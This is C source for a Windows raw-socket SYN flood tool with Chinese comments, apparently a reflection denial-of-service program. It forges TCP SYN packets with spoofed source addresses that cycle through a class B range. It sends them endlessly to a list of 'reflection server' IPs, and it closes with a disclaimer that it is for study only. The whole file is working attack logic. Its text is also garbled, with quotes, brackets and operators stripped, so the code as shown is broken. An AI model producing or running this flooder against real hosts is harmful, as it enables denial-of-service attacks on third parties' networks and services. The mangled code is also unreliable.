#includewinsock2.h#includeWs2tcpip.h#includestdio.h#includestdlib.h#defineSEQ0x28376839#defineNUM7//反射服务器的个数#defineFAKE_IP192.168.0.6//伪装IP的起始值,本程序的伪装IP覆盖一个B类网段#defineSTATUS_FAILED0xFFFF//错误返回值typedefstruct_iphdr//定义IP首部{unsignedcharh_verlen;//4位首部长度,4位IP版本号unsignedchartos;//8位服务类型TOSunsignedshorttotal_len;//16位总长度(字节)unsignedshortident;//16位标识unsignedshortfrag_and_flags;//3位标志位unsignedcharttl;//8位生存时间TTLunsignedcharproto;//8位协议(TCP,UDP或其他)unsignedshortchecksum;//16位IP首部校验和unsignedintsourceIP;//32位源IP地址unsignedintdestIP;//32位目的IP地址}IP_HEADER;struct//定义TCP伪首部{unsignedlongsaddr;//源地址unsignedlongdaddr;//目的地址charmbz;charptcl;//协议类型unsignedshorttcpl;//TCP长度}psd_header;typedefstruct_tcphdr//定义TCP首部{USHORTth_sport;//16位源端口USHORTth_dport;//16位目的端口unsignedintth_seq;//32位序列号unsignedintth_ack;//32位确认号unsignedcharth_lenres;//4位首部长度/6位保留字unsignedcharth_flag;//6位标志位USHORTth_win;//16位窗口大小USHORTth_sum;//16位校验和USHORTth_urp;//16位紧急数据偏移量}TCP_HEADER;//CheckSum:计算校验和的子函数USHORTchecksum(USHORT*buffer,intsize){unsignedlongcksum=0;while(size1){cksum+=*buffer++;size-=sizeof(USHORT);}if(size){cksum+=*(UCHAR*)buffer;}cksum=(cksum16)+(cksum&0xffff);cksum+=(cksum16);return(USHORT)(~cksum);}//SynFlood主函数intmain(){intdatasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;intTimeOut=2000,SendSEQ=0,i=0;charSendBuf[128]={0};charRecvBuf[65535]={0};char*Syn_dest_ip[NUM-1];WSADATAwsaData;SOCKETSockRaw=(SOCKET)NULL;structsockaddr_inDestAddr;IP_HEADERip_header;TCP_HEADERtcp_header;//初始反射IP列表Syn_dest_ip[0]=192.168.0.99;Syn_dest_ip[1]=192.168.0.1;Syn_dest_ip[2]=192.168.0.2;Syn_dest_ip[3]=192.168.0.4;Syn_dest_ip[4]=192.168.0.5;Syn_dest_ip[5]=192.168.0.3;Syn_dest_ip[6]=192.168.0.7;//初始化SOCK_RAWif((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){fprintf(stderr,WSAStartupfailed:%d\n,ErrorCode);ExitProcess(STATUS_FAILED);}SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);if(SockRaw==INVALID_SOCKET){fprintf(stderr,WSASocket()failed:%d\n,WSAGetLastError());ExitProcess(STATUS_FAILED);}flag=TRUE;//设置IP_HDRINCL以自己填充IP首部ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(int));if(ErrorCode==SOCKET_ERROR)printf(SetIP_HDRINCLError!\n);__try{//设置发送超时ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));if(ErrorCode==SOCKET_ERROR){fprintf(stderr,FailedtosetsendTimeOut:%d\n,WSAGetLastError());__leave;}while(1){for(i=0;iNUM;i++){//循环使用代理memset(&DestAddr,0,sizeof(DestAddr));DestAddr.sin_family=AF_INET;DestAddr.sin_addr.s_addr=inet_addr(Syn_dest_ip[i]);FakeIpNet=inet_addr(FAKE_IP);FakeIpHost=ntohl(FakeIpNet);//填充IP首部ip_header.h_verlen=(44|sizeof(ip_header)/sizeof(unsignedlong));//高四位IP版本号,低四位首部长度ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));//16位总长度(字节)ip_header.ident=1;//16位标识ip_header.frag_and_flags=0;//3位标志位ip_header.ttl=128;//8位生存时间TTLip_header.proto=IPPROTO_TCP;//8位协议(TCP,UDP…)ip_header.checksum=0;//16位IP首部校验和ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址ip_header.destIP=inet_addr(Syn_dest_ip[i]);//32位目的IP地址//填充TCP首部tcp_header.th_sport=htons(7000);//源端口号tcp_header.th_dport=htons(8080);//目的端口号tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号tcp_header.th_ack=0;//ACK序列号置为0tcp_header.th_lenres=(sizeof(TCP_HEADER)/44|0);//TCP长度和保留位tcp_header.th_flag=2;//SYN标志tcp_header.th_win=htons(16384);//窗口大小tcp_header.th_urp=0;//偏移tcp_header.th_sum=0;//校验和//填充TCP伪首部(用于计算校验和,并不真正发送)psd_header.saddr=ip_header.sourceIP;//源地址psd_header.daddr=ip_header.destIP;//目的地址psd_header.mbz=0;psd_header.ptcl=IPPROTO_TCP;//协议类型psd_header.tcpl=htons(sizeof(tcp_header));//TCP首部长度//每发送10,24个报文输出一个标示符printf(.);for(counter=0;counter1024;counter++){if(SendSEQ++==65536)SendSEQ=1;//序列号循环//更改IP首部ip_header.checksum=0;//16位IP首部校验和ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址//更改TCP首部tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号tcp_header.th_sum=0;//校验和//更改TCPPseudoHeaderpsd_header.saddr=ip_header.sourceIP;//计算TCP校验和,计算校验和时需要包括TCPpseudoheadermemcpy(SendBuf,&psd_header,sizeof(psd_header));memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header));//计算IP校验和memcpy(SendBuf,&ip_header,sizeof(ip_header));memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);datasize=sizeof(ip_header)+sizeof(tcp_header);ip_header.checksum=checksum((USHORT*)SendBuf,datasize);//填充发送缓冲区memcpy(SendBuf,&ip_header,sizeof(ip_header));//发送TCP报文ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(structsockaddr*)&DestAddr,sizeof(DestAddr));if(ErrorCode==SOCKET_ERROR)printf(\nSendError:%d\n,GetLastError());}//Endoffor}//Endoffor}//Endofwhile}//Endoftry__finally{if(SockRaw!=INVALID_SOCKET)closesocket(SockRaw);WSACleanup();}return0;}程序只用于研究学习,请勿用于非法用途,法网恢恢,出来混迟早要还的,自重!!!